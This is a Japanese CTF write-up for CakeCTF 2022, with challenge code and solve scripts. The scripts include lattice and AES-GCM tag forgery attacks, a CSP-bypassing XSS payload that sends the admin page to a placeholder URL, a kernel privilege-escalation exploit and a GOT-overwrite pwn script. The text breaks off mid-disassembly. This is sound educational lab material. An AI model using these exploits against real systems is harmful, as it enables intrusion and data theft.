CakeCTF 2022 Writeup
Sun Sep 04 2022
9/3-9/4 で開催していた CakeCTF 2022 に参加しました。結果は 4th/713 でした (得点のあるチームのみカウント)。 寝るタイミングを失ってしまうぐらい面白かったです。やるだけみたいな問題はほぼなく、どの問題も学びがあって本当によかった… 解いた問題について writeup を書きます。量が多いので省略気味に書きます…
crypto
Rock Door
9 solves
server.pyfrom Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes from hashlib import sha256 import os import secrets def h(s: bytes) -> int: return int(sha256(s).hexdigest(), 16) q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 p = 2*q + 1 assert isPrime(p) assert isPrime(q) g = 2 flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}") x = h(secrets.token_bytes(16) + flag.encode()) y = pow(g, x, p) def sign(m: bytes): z = h(m) k = h(long_to_bytes(x + z)) r = h(long_to_bytes(pow(g, k, p))) s = (z + x*r) * inverse(k, q) % q return r, s def verify(m: bytes, r: int, s: int): z = h(m) sinv = inverse(s, q) gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p r2 = h(long_to_bytes(gk)) return r == r2 print("p =", p) print("g =", g) print("y =", y) print("=== sign ===") m = input("m = ").strip().encode() if b"goma" in m: quit() r, s = sign(m) # print("r =", r) do you really need? print("s =", s) print("=== verify ===") m = input("m = ").strip().encode() r = int(input("r = ")) s = int(input("s = ")) assert 0 < r < q assert 0 < s < q ok = verify(m, r, s) if ok and m == b"hirake goma": print(flag) elif ok: print("OK") else: print("NG")
ほぼ DSA ですが、 が乱数ではなくハッシュから生成されています ()。これを利用することを考えます。 最初の署名の段階で のペアから を求めないと2回目に任意の署名を作るのは難しいそうなのでこれを目指します。
ハッシュ関数は一方向なので、当然解析的に が求まるわけではなさそうです。 の大きさに注目すると256ビットであり、他の数と比べて十分小さいため、格子を使う方向性が筋よさそうです。 という式に注目して LLL を使います。
from hashlib import sha256 from Crypto.Util.number import long_to_bytes def h(s: bytes) -> int: return int(sha256(s).hexdigest(), 16) q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 p = 2*q + 1 g = 2 # メッセージを s として署名 s と公開鍵 y を入手 z = h(b"a") y = 118533156261934174079957239785600726003504143719618930652301209430971439517610201818648654457722007484277653246853156623748561419338176015886797495627393125302673434524189463453860121173243430968310692572848937285105100544679493733497391554330928874050436371597091964526568385205554176020858124177010944938083 s = 33599189094354173038344233582583173116718518110742000501995250215399826683709540054592684718974552907131991645099271266539308558374684205574620351437815313794448712904672221733019273210039583619445543456971841766592478929484029642162582240701916125529980538869957363536914390699170193499715294732336257939619 sinv = int(pow(s, -1, q)) # [x * r, 1, k] = [x * r, 1, l] * mat mat = matrix(ZZ, 3, 3) mat[0, 0] = 1 mat[1, 1] = 1 mat[0, 2] = sinv mat[1, 2] = sinv * z % q mat[2, 2] = -q weights = diagonal_matrix([1, 2**512, 2**256]) mat *= weights res = mat.LLL() mat /= weights res /= weights
この res が [x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。何回か実験したところ毎回この形でした。幸い は正しく求まるのでここから を求めていきます (以下追記あり)。
k = abs(int(res[0, 2])) xr = int((k * s - z) % q) r = h(long_to_bytes(int(pow(g, k, p)))) s_ = int((z + xr) * pow(k, -1, q) % q) assert s == s_ assert xr % r == 0 x = xr // r
が求まったのでクリアです。
def sign(m: bytes): z = h(m) k = h(long_to_bytes(x + z)) r = h(long_to_bytes(int(pow(g, k, p)))) s = (z + x*r) * inverse(k, q) % q return r, s def verify(m: bytes, r: int, s: int): z = h(m) sinv = inverse(s, q) gk = int(pow(g, sinv*z, p) * pow(y, sinv*r, p) % p) r2 = h(long_to_bytes(gk)) return r == r2 r, s = sign(b"hirake goma") verify(b"hirake goma", r, s)
CakeCTF{uum_hash_is_too_small_compared_to_modulus}
【9/4 23:50 追記】
この res が [x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。
の件について、 @josep68_ さんが原因を教えてくれました。ありがとうございます! https://twitter.com/josep68_/status/1566393491122376704?s=20&t=SN2a8TuB6vK7EZUblmR3iw
the form is [z+xr, 0, k] (so you can actually just use a 2x2 matrix [[1, sinv], [0, -q]] instead, even without weights) LLL finds [z+xr, 0, 2^256 k] instead because it's smaller than the vector we expect [xr, 2^512, 2^256 k]
[x * r, 1, k] よりもノルムの小さいベクトルとして、 [x * r + z, 0, k] が存在するので、 LLL ではこの解を導出してしまうとのことでした。 の式を見ると確かにそうですね。 ということでこの問題では、
# [x * r + z, k] = [x * r + z, l] * mat mat = matrix(ZZ, 2, 2) mat[0, 0] = 1 mat[0, 1] = sinv mat[1, 1] = -q weights = diagonal_matrix([1, 2**256]) mat *= weights res = mat.LLL() mat /= weights res /= weights
とするほうがベターです。こうすることで、もともとの3次元行列での実装では 程度の最短ベクトルしか求まらなかったのが、 程度の最短ベクトルが求まるようになりました。この問題ではどっちでも求まってしまいますが。
【追記終わり】
hi yoshiking
10 solves
server.rbrequire 'openssl' require 'json' class String def hex return self.unpack("H*")[0] end def unhex return [self].pack("H*") end end STDOUT.sync = true key = OpenSSL::Random.random_bytes(32) while true puts "1: create your token\n2: login with your token" print "> " case gets.strip.to_i when 1 then iv = OpenSSL::Random.random_bytes(12) print "your name: " name = gets.strip encryptor = OpenSSL::Cipher.new('AES-256-GCM') encryptor.encrypt encryptor.key = key encryptor.iv = iv token = encryptor.update(JSON.generate({ "username" => name, "is_yoshiking" => false, })) + encryptor.final puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}" when 2 then print "your token: " begin iv, c, tag = gets.strip.split(":").map(&:unhex) decryptor = OpenSSL::Cipher.new('AES-256-GCM') decryptor.decrypt decryptor.key = key decryptor.iv = iv decryptor.auth_tag = tag data = JSON.parse(decryptor.update(c) + decryptor.final) if data["username"] == "yoshiking" and data["is_yoshiking"] then raise "I know it is fake at all" unless tag.size == 16 puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}" else puts "hello #{data["username"]}" end rescue => e p e end else break end end
うっ、 ruby...わざわざ ruby で出すということは ruby 特有の問題なのではという気持ちになります。 ソースコードを読むと raise "I know it is fake at all" unless tag.size == 16 の部分が気になります。 tag.size == 16?それはそうでは? https://www.mbsd.jp/research/20200901/aes-gcm/ とかを読んでみると、 PHP や ruby では AES-GCM のタグの長さを検証しないといけないとのことでした。 そんなことある?と思ってタグを最初の1バイトのみにして検証してみると確かに通ります。 さらに実験してみると、先頭から一致していれば検証が通ることがわかります。ということで任意の暗号文に対するタグを先頭から1文字ずつリークすることが可能になります。 あとは暗号文を偽造するだけです。これは xor で作られているので簡単。
solve.pyfrom binascii import unhexlify from pwn import remote, xor io = remote("crypto.2022.cakectf.com", 10333) io.sendlineafter(b"> ", b"1") io.sendlineafter(b"your name: ", b"yoshiking") io.recvuntil(b"your token: ") ret = io.recvline().strip().decode() iv, token, tag = ret.split(":") token = unhexlify(token) m1 = msg[32:] m2 = b'iking": true}' assert len(m1) == len(m2) diff = xor(msg[32:], b'iking": true}') new_token = token[:32] + long_to_bytes(bytes_to_long(token[32:] + b"\x00" * 19) ^ bytes_to_long(diff + b"\x00" * 19)) new_token = new_token[:45] tag = b"" for idx in range(16): for i in range(256): payload = iv + ":" + new_token.hex() + ":" + (tag + long_to_bytes(i)).hex() _ = io.sendlineafter(b"> ", b"2") _ = io.sendlineafter(b"your token: ", payload) ret = io.recvline().strip().decode() if ret != "OpenSSL::Cipher::CipherError": print(ret, tag) tag += long_to_bytes(i)
CakeCTF{hi_yoshiking_lets_go_sushi}
brand new crypto
46 solves
task.pyfrom Crypto.Util.number import getPrime, getRandomRange, inverse, GCD import os flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode() def keygen(): p = getPrime(512) q = getPrime(512) n = p * q phi = (p-1)*(q-1) while True: a = getRandomRange(0, phi) b = phi + 1 - a s = getRandomRange(0, phi) t = -s*a * inverse(b, phi) % phi if GCD(b, phi) == 1: break return (s, t, n), (a, b, n) def enc(m, k): s, t, n = k r = getRandomRange(0, n) c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n) assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n return m * pow(r, s, n) % n, m * pow(r, t, n) % n def dec(c1, c2, k): a, b, n = k return pow(c1, a, n) * pow(c2, b, n) % n pubkey, privkey = keygen() c = [] for m in flag: c1, c2 = enc(m, pubkey) assert dec(c1, c2, privkey) c.append((c1, c2)) print(pubkey) print(c)
フラグを1文字ずつ暗号化しています。つまり復号が直接できなくてもある正しい1文字 に対してのみ成立する等式を見つけられれば1文字ずつ平文を特定できます。 , を変形すると となります。これを使います。
solve.pys, t, n = pubkey flag = "" for idx in range(len(c)): c1, c2 = c[idx] for m in range(32, 127): m_inv = pow(m, -1, n) if pow(c1 * m_inv, t, n) == pow(c2 * m_inv, s, n): flag += chr(m) print(flag) break
CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}
frozen cake
132 solves
task.pyfrom Crypto.Util.number import getPrime import os flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}") m = int(flag.encode().hex(), 16) p = getPrime(512) q = getPrime(512) n = p*q print("n =", n) print("a =", pow(m, p, n)) print("b =", pow(m, q, n)) print("c =", pow(m, n, n))
意外と見ない形の RSA 問題で一瞬焦りますが、 ( を利用) となるので から が求まります。
solve.pyfrom Crypto.Util.number import long_to_bytes n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131 a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528 b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477 c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549 long_to_bytes(int(a * b * pow(c, -1, n)))
CakeCTF{oh_you_got_a_tepid_cake_sorry}
web
OpenBio
50 solves
入力がサニタイズされていないので <script> を埋め込むこと自体は簡単です。しかし CSP で守られています。
app.py@app.after_request def after_request(response): csp = "" csp += "default-src 'none';" if 'csp_nonce' in flask.g: csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" else: csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" csp += f"style-src https://cdn.jsdelivr.net/;" csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;" csp += f"base-uri 'none';" csp += f"connect-src 'self';" response.headers['Content-Security-Policy'] = csp return response @app.context_processor def csp_nonce_init(): flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode() return dict(csp_nonce=flask.g.csp_nonce)
基本的に nonce で守られています。 <script みたいにタグを閉じないことで後続の nonce を奪えるみたいな手法があったと思うのですが、それは通りませんでした。
nonce 以外に、ホワイトリストに登録されているものがいくつかあります。これらから angular とかが呼び出せると、 {{constructor.constructor('...')()}} という形で任意のスクリプトを実行できることが知られています。 https://csp-evaluator.withgoogle.com/ のサイトに CSP のヘッダーを貼っつけると https://cdn.jsdelivr.net/ がやばいよと言われます。実際 https://cdn.jsdelivr.net/npm/[email protected]/angular.js に angular がありました。 というわけであとは admin ページを fetch したときのデータを手元に持ってくるだけです。 こういうとき redirect させるの嫌なので st98 さんに昔教えてもらった sendBeacon を使う方法でやりたかったのですが、 CSP に弾かれてしまいました… setTimeout でごまかしました。以下のスクリプトを埋め込むことでフラグが手に入りました。
<script src="https://cdn.jsdelivr.net/npm/[email protected]/angular.js"></script> <p ng-app>{{constructor.constructor('fetch("/").then(r => r.text()).then(t => setTimeout(() => {location.href="MYURL?q="+escape(t)}, 2000))')()}}
CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}
CakeGEAR
104 solves
以下の部分が怪しいです。
index.phpif ($req->username === 'godmode' && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { /* Debug mode is not allowed from outside the router */ $req->username = 'nobody'; } switch ($req->username) { case 'godmode': /* No password is required in god mode */ $_SESSION['login'] = true; $_SESSION['admin'] = true; break;
username を godmode にしても REMOTE_ADDR を localhost にできないと godmode には突入できなさそうに見えます。 しかし調べてみると PHP の switch 文は緩やかな比較をするということなので、 username=true とかにしてしまうと "godmode" == true となり、最初の case が実行されます。 https://www.php.net/manual/ja/types.comparisons.php とかを参照。
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
pwn
welkerme
75 solves
人生初 kernel exploit 問。 README がある (しかも日本語のもある) のでこれをじっくり読みます。 ドライバの概念とかはよくわからなかったですが、 exploit.c の func 内で commit_creds(prepare_kernel_cred(NULL)); を呼べればよさそうということがわかりました。 これをするためには commit_creds や prepare_kernel_cred のアドレスを知る必要があるのですが、 /proc/kallsyms に書いてあるとのことです。 しかし、 /proc/kallsyms は root じゃないと読めません。アドレスはランダムだろうから一般ユーザーには知る由もないのでは…?と思いきや、 run.sh を見ると nokaslr という指定がありました。きっとこれでアドレスのランダム化を防いでいるのでしょう。 なので流れとしては、 debug モード (make dev) でアドレスを知る→ exploit.c で commit_creds, prepare_kernel_cred を定義する→ commit_creds(prepare_kernel_cred(NULL)); を呼ぶ→シェルを叩くという形です。
:exploit.c#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 void *(*prepare_kernel_cred)(void *); int (*commit_creds)(void *); int func(void) { commit_creds(prepare_kernel_cred(NULL)); return 31337; } int main(void) { int fd, ret; prepare_kernel_cred = (void *)0xffffffff810726e0; commit_creds = (void *)0xffffffff81072540; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } ret = ioctl(fd, CMD_ECHO, 12345); printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)func); printf("CMD_EXEC(func) --> %d\n", ret); close(fd); execl("/bin/sh", "sh", NULL); return 0; }
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
str.vs.cstr
88 solves
main.cpp#include <array> #include <iostream> struct Test { Test() { std::fill(_c_str, _c_str + 0x20, 0); } char* c_str() { return _c_str; } std::string& str() { return _str; } private: __attribute__((used)) void call_me() { std::system("/bin/sh"); } char _c_str[0x20]; std::string _str; }; int main() { Test test; std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); std::cout << "1. set c_str" << std::endl << "2. get c_str" << std::endl << "3. set str" << std::endl << "4. get str" << std::endl; while (std::cin.good()) { int choice = 0; std::cout << "choice: "; std::cin >> choice; switch (choice) { case 1: // set c_str std::cout << "c_str: "; std::cin >> test.c_str(); break; case 2: // get c_str std::cout << "c_str: " << test.c_str() << std::endl; break; case 3: // set str std::cout << "str: "; std::cin >> test.str(); break; case 4: // get str std::cout << "str: " << test.str() << std::endl; break; default: // otherwise exit std::cout << "bye!" << std::endl; return 0; } } return 1; }
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
c の char* と cpp の string がこの順でスタック上に存在しています。 std::cin >> test.c_str() にオーバーフローの脆弱性があります。
string は「文字列を格納するアドレス (8bytes), 長さ (8bytes), 文字列 (短ければここに、長ければ heap 上に)」という構造をしています。なので「文字列を格納するアドレス」を test.c_str() のオーバーフローで書き換えれば GOT に任意書き込みができます。これで call_me を呼べるようにします。
solve.pyfrom pwn import * elf = ELF("./chall") io = remote("pwn1.2022.cakectf.com", 9003) context.binary = elf # libc のアドレス解決をするために 2, 4 を呼んでおく io.sendlineafter(b"choice", b"2") io.sendlineafter(b"choice", b"4") io.sendlineafter(b"choice", b"3") io.sendlineafter(b"str: ", b"B" * 0x50) io.sendlineafter(b"choice", b"1") io.sendlineafter(b"c_str: ", b"A" * 0x20 + p64(0x00404048)) io.sendlineafter(b"choice", b"3") io.sendlineafter(b"str: ", p64(0x4016de)) io.interactive()
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
rev
kiwi
18 solves
この問題を解くためには大きく分けて3ステップあり、①適切な鍵のフォーマットの特定、② checkMessage が通る条件の特定、③暗号文のデコード、といった感じです。
①適切な鍵のフォーマットの特定 入力は chunk に分かれていて、先頭が 00, 01, 02 で分岐します。
- 00 -> 読み込み終了
- 01 -> その後の文字を1文字ずつ読みとって this + 0x18 を代入。各バイトの最上位ビットが1ならば読み続け、0ならば終了
- 02 -> chunk_size, c1, c2, c3, ... という形式で読み取る。
② checkMessage が通る条件の特定
- this & 1 != 1
- *(this + 0x18) == -0x35013b0d (or 0xcafec4f3)
- this & 2 != 2
- this + 0x8 の array のサイズが8以上
1つ目と3つ目は 01, 02 の処理を行うと自動的に満たされます。 01 のほうの条件はややこしいですが、以下のようなスクリプトで適切な chunk を決定できます。
from Crypto.Util.number import long_to_bytes target = 0xcafec4f3 bin_target = bin(target)[2:] ans = "" for i in range(0, len(bin_target), 7): if i == 0: tmp = bin_target[-i-7:] else: tmp = bin_target[-i-7:-i] if len(tmp) != 7: break ans += "1" + tmp ans += "0000" + tmp long_to_bytes(int(ans, 2)).hex() # 01f389fbd70c
02 のほうは chunk_size が8以上であればなんでもよさそうです。 02080000000000000000 とでもしておきます。 全体を踏まえ、 01f389fbd70c0208000000000000000000 で checkMessage を突破できます。
③暗号文のデコード 02 で指定した鍵を使ってフラグが暗号化されます。この暗号化は xor に毛が生えたものになっているので簡単に復号できます。
from binascii import unhexlify from pwn import xor enc = unhexlify("bc9f9699b8aebf8380c5aa9ac0c195af9bdeb29c99d99fdb8992baa38c8d868cba81bbaeebb786aba3e2bbb0e7a0b5e1b5ffa3ab94afbffbb5bfb1acf2aca6bd") xor(enc, bytes(i for i in range(len(enc))), b"\xff" * len(enc))
CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}
zundamon
20 solves
This program may harm your computer. Do not run it outside sandbox. という赤字の注意書きが怖い問題。 pcap ファイルも配られており、 RPUSH などの文字列から redis に何かを格納している様子が伺えます。 pcap の RPUSH 周辺や、バイナリ上でそれを書き込んでいる部分の周辺を見てみると、何かしらの3バイトを定期的に送っていそうです。以下のような形式です。
1d0001 1d0002 2d0001 2d0000 210001 210000 1d0000 210001 210000 0f0001 0f0000 ...
もう少しバイナリを見ると、これらの値は /dev/input/ の何かのイベントを読み取っていることがわかります。このイベントが何なのかを特定する術を持っていなかったためエスパーしたところ (1d, 2d などの文字や /dev/input などで検索をかけた)、キーボードの入力を表していそうです。
まず pcap から↑の3バイトに相当するものを全部列挙します。
with open("evidence.pcapng", "rb") as fp: buf = fp.read() contents = [] prefix = b"\x24\x31\x37\x0d\x0a\x64\x38\x3a\x66\x32\x3a\x63\x61\x3a\x63\x65\x3a\x34\x34\x3a\x38\x64\x0d\x0a\x24\x33\x0d\x0a" while True: idx = buf.find(prefix) if idx == -1: break buf = buf[idx:] contents.append(buf[len(prefix): len(prefix) + 3].hex()) assert buf[len(prefix) + 3: len(prefix) + 5] == b"\x0d\x0a" buf = buf[len(prefix) + 5:]
自分のキーボードの入力を hexdump /dev/input/... で確認したりググったりして、キーと数値の対応関係を見つけます。
# https://www.win.tue.nl/~aeb/linux/kbd/scancodes-7.html keymap = { "2a": "<SFT>", "2c": "z", "2d": "x", "2e": "c", "2f": "v", "30": "b", "31": "n", "32": "m", "33": ",", "34": ".", "35": "/", "1e": "a", "1f": "s", "20": "d", "21": "f", "22": "g", "23": "h", "24": "j", "25": "k", "26": "l", "27": ";", "28": "'", "2b": "\\", "10": "q", "11": "w", "12": "e", "13": "r", "14": "t", "15": "y", "16": "u", "17": "i", "18": "o", "19": "p", "1a": "[", "1b": "]", "1c": "<ENT>", "1d": "<CTL>", "0f": "<TAB>", "02": "1", "03": "2", "04": "3", "05": "4", "06": "5", "07": "6", "08": "7", "09": "8", "0a": "9", "0b": "0", "0c": "-", "0d": "=", "0e": "<BS>", "6c": "<META>", "69": "<FIND>", "59": "<F2>", "4f": "1", "39": "<SPACE>", }
これらの情報を元になんのキーを打ったか確認します。
new_contents = [] ans = "" for c in contents: if c[-2:] == "01": tmp = keymap.get(c[:2], "?") ans += tmp new_contents.append((c, tmp)) if tmp == "?": print(c[:2]) else: tmp = keymap.get(c[:2], "?") new_contents.append((c, tmp)) if tmp == "?": print(c[:2])
ans (キーを押した瞬間だけを考慮した文字列) は '<CTL>xff<TAB><ENT><META><META><ENT><BS><BS><BS><ENT><SFT>cake<SFT>ctf]<SFT>\\<FIND>b3<SFT><F2>c4r3fu<SFT>l<SFT><F2>0f<SFT><F2>m4l1c10us<SFT><F2>k3y<SFT>l0gg3r1<ENT><SFT>i<SPACE>hope<SPACE>nobody<SPACE>is<SPACE>seeing<SPACE>my<SPACE>screen...<ENT><CTL>xs' となりました。 <CTL>xf とか確か emacs とかのキーバインドだった気がする (自分は vim 派) ので、恐らく方針は合っていそう。 しかしよくあるフラグの書式だと _ になりそうな部分が <SFT><F2> となってしまっていたり、このままだと正しいフラグにはならなそうです。 キーボード特定しないといけない?大変そうだったのでエスパーしました。
CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}
luau
64 solves
lua の rev 問。 lua わからん… とりあえずディスアセンブルぐらいはできないと何もできないな、ということでぐぐると https://github.com/viruscamp/luadec というツールがあることを知り、 version 5.3 に対応したもの (配布バイナリがこのバージョン) をインストールしました。 luadec -dis libflag.lua > disasm のようなコマンドでディスアセンブルができます。
; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec ; Command line: -dis ../../libflag.lua ; Function: 0 ; Defined at line: 0 ; #Upvalues: 1 ; #Parameters: 0 ; Is_vararg: 2 ; Max Stack Size: 2 0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0) 1 [-]: NEWTABLE R1 0 1 ; R1 := {} (size = 0,1) 2 [-]: SETTABLE R1 K0 R0 ; R1["checkFlag"] := R0 3 [-]: RETURN R1 2 ; return R1 4 [-]: RETURN R0 1 ; return ; Function: 0_0 ; Defined at line: 1 ; #Upvalues: 1 ; #Parameters: 2 ; Is_vararg: 0 ; Max Stack Size: 41 0 [-]: NEWTABLE R2 26 0 ; R2 := {} (size = 26,0) 1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 4 [-]: LOADK R6 K3 ; R6 := 84 5 [-]: LOADK R7 K4 ; R7 := 47 6 [-]: LOADK R8 K5 ; R8 := 56 7 [-]: LOADK R9 K6 ; R9 := 118 8 [-]: LOADK R10 K7 ; R10 := 71 9 [-]: LOADK R11 K8 ; R11 := 109 10 [-]: LOADK R12 K9 ; R12 := 0 11 [-]: LOADK R13 K10 ; R13 := 90 12 [-]: LOADK R14 K7 ; R14 := 71 13 [-]: LOADK R15 K11 ; R15 := 115 14 [-]: LOADK R16 K12 ; R16 := 9 15 [-]: LOADK R17 K13 ; R17 := 30 16 [-]: LOADK R18 K14 ; R18 := 58 17 [-]: LOADK R19 K15 ; R19 := 32 18 [-]: LOADK R20 K16 ; R20 := 101 19 [-]: LOADK R21 K17 ; R21 := 40 20 [-]: LOADK R22 K18 ; R22 := 20 21 [-]: LOADK R23 K19 ; R23 := 66 22 [-]: LOADK R24 K20 ; R24 := 111 23 [-]: LOADK R25 K21 ; R25 := 3 24 [-]: LOADK R26 K22 ; R26 := 92 25 [-]: LOADK R27 K23 ; R27 := 119 26 [-]: LOADK R28 K24 ; R28 := 22 27 [-]: LOADK R29 K10 ; R29 := 90 28 [-]: LOADK R30 K25 ; R30 := 11 29 [-]: LOADK R31 K23 ; R31 := 119 30 [-]: LOADK R32 K26 ; R32 := 35 31 [-]: LOADK R33 K27 ; R33 := 61 32 [-]: LOADK R34 K28 ; R34 := 102 33 [-]: LOADK R35 K28 ; R35 := 102 34 [-]: LOADK R36 K11 ; R36 := 115 35 [-]: LOADK R37 K29 ; R37 := 87 36 [-]: LOADK R38 K30 ; R38 := 89 37 [-]: LOADK R39 K31 ; R39 := 34 38 [-]: LOADK R40 K31 ; R40 := 34 39 [-]: SETLIST R2 38 1 ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50 40 [-]: LEN R3 R0 ; R3 := #R0 41 [-]: LEN R4 R2 ; R4 := #R2 42 [-]: EQ 1 R3 R4 ; if R3 ~= R4 then goto 44 else goto 46 43 [-]: JMP R0 2 ; PC += 2 (goto 46) 44 [-]: LOADBOOL R3 0 0 ; R3 := false 45 [-]: RETURN R3 2 ; return R3 46 [-]: NEWTABLE R3 0 0 ; R3 := {} (size = 0,0) 47 [-]: NEWTABLE R4 0 0 ; R4 := {} (size = 0,0) 48 [-]: LOADK R5 K32 ; R5 := 1 49 [-]: LEN R6 R0 ; R6 := #R0 50 [-]: LOADK R7 K32 ; R7 := 1 51 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 60) 52 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 53 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 54 [-]: SELF R10 R0 K35 ; R11 := R0; R10 := R0["sub"] 55 [-]: MOVE R12 R8 ; R12 := R8 56 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 57 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 58 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 59 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 60 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end 61 [-]: LOADK R5 K32 ; R5 := 1 62 [-]: LEN R6 R1 ; R6 := #R1 63 [-]: LOADK R7 K32 ; R7 := 1 64 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 73) 65 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 66 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 67 [-]: SELF R10 R1 K35 ; R11 := R1; R10 := R1["sub"] 68 [-]: MOVE R12 R8 ; R12 := R8 69 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 70 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 71 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 72 [-]: SETTABLE R4 R8 R9 ; R4[R8] := R9 73 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end 74 [-]: LOADK R5 K32 ; R5 := 1 75 [-]: LEN R6 R3 ; R6 := #R3 76 [-]: LOADK R7 K32 ; R7 := 1 77 [-]: FORPREP R5 9 ; R5 -= R7; pc += 9 (goto 87) 78 [-]: ADD R9 R8 K32 ; R9 := R8 + 1 79 [-]: LEN R10 R3 ; R10 := #R3 80 [-]: LOADK R11 K32 ; R11 := 1 81 [-]: FORPREP R9 4 ; R9 -= R11; pc += 4 (goto 86) 82 [-]: GETTABLE R13 R3 R8 ; R13 := R3[R8] 83 [-]: GETTABLE R14 R3 R12 ; R14 := R3[R12] 84 [-]: SETTABLE R3 R8 R14 ; R3[R8] := R14 85 [-]: SETTABLE R3 R12 R13 ; R3[R12] := R13 86 [-]: FORLOOP R9 -5 ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end 87 [-]: FORLOOP R5 -10 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end 88 [-]: LOADK R5 K32 ; R5 := 1 89 [-]: LEN R6 R3 ; R6 := #R3 90 [-]: LOADK R7 K32 ; R7 := 1 91 [-]: FORPREP R5 14 ; R5 -= R7; pc += 14 (goto 106) 92 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 93 [-]: SUB R10 R8 K32 ; R10 := R8 - 1 94 [-]: LEN R11 R4 ; R11 := #R4 95 [-]: MOD R10 R10 R11 ; R10 := R10 % R11 96 [-]: ADD R10 K32 R10 ; R10 := 1 + R10 97 [-]: GETTABLE R10 R4 R10 ; R10 := R4[R10] 98 [-]: BXOR R9 R9 R10 ; R9 := R9 ~ R10 99 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 100 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 101 [-]: GETTABLE R10 R2 R8 ; R10 := R2[R8] 102 [-]: EQ 1 R9 R10 ; if R9 ~= R10 then goto 104 else goto 106 103 [-]: JMP R0 2 ; PC += 2 (goto 106) 104 [-]: LOADBOOL R9 